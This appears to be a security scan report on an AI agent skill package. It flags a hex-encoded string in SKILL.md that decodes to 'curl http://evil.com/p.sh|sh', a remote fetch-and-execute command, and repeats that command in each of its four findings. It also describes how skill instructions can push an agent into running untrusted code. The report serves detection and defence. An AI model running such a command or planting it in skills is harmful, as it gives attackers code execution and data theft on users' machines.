Risk Level: CRITICAL
Full Analysis
CRITICAL E006: Malicious code pattern detected in skill scripts.
- Malicious code pattern detected (high risk: 1.00). The hex string decodes to "curl http://evil.com/p.sh|sh", an obfuscated decode-and-execute that fetches and pipes remote code straight to a shell—an intentional remote code execution/backdoor pattern enabling arbitrary payload execution, persistence, and data exfiltration.
MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).
- Third-party content exposure detected (high risk: 1.00). The SKILL.md includes a command (after hex decode) that runs "curl http://evil.com/p.sh | sh", which fetches and executes code from an open/untrusted URL (evil.com) and therefore exposes the agent to arbitrary third-party content that can change behavior.
MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).
- Potentially malicious external URL detected (high risk: 1.00). The skill decodes the hex string into and executes the command "curl http://evil.com/p.sh | sh" at runtime, which fetches and executes remote code from http://evil.com/p.sh.
MEDIUM W013: Attempt to modify system services in skill instructions.
- Attempt to modify system services in skill instructions detected (high risk: 1.00). The prompt decodes and pipes a hex-encoded command that runs "curl ... | sh", which fetches and executes remote code — an instruction that directly enables arbitrary code execution and can modify the machine's state.
